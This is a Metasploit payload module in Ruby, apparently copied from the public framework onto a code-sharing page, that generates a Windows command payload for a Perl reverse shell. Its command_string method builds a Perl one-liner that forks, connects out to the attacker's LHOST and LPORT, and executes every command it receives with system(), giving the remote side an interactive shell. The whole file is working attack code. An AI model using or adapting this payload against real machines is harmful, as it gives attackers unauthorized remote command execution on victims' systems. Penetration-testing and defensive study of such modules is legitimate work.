Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 148
10

11
  include Msf::Payload::Single
12
  include Msf::Sessions::CommandShellOptions
13

14
  def initialize(info = {})
15
    super(merge_info(info,
16
     'Name'          => 'Windows Command, Double Reverse TCP Connection (via Perl)',
17
     'Description'   => 'Creates an interactive shell via perl',
18
     'Author'        => ['cazz', 'aushack'],
19
     'License'       => BSD_LICENSE,
20
     'Platform'      => 'win',
21
     'Arch'          => ARCH_CMD,
22
     'Handler'       => Msf::Handler::ReverseTcp,
23
     'Session'       => Msf::Sessions::CommandShell,
24
     'PayloadType'   => 'cmd',
25
     'RequiredCmd'   => 'perl',
26
     'Payload'       =>
27
       {
28
         'Offsets' => { },
29
         'Payload' => ''
30
       }
31
    ))
32
    register_advanced_options(
33
      [
34
        OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])
35
      ]
36
    )
37
  end
38

39
  #
40
  # Constructs the payload
41
  #
42
  def generate(_opts = {})
43
    return super + command_string
44
  end
45

46
  #
47
  # Returns the command string to use for execution
48
  #
49
  def command_string
50
    lhost = datastore['LHOST']
51
    ver   = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
52
    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
53
    cmd   = %{#{datastore['PerlPath']} -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\\"#{lhost}:#{datastore['LPORT']}\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"}
54
  end
55
end
56

57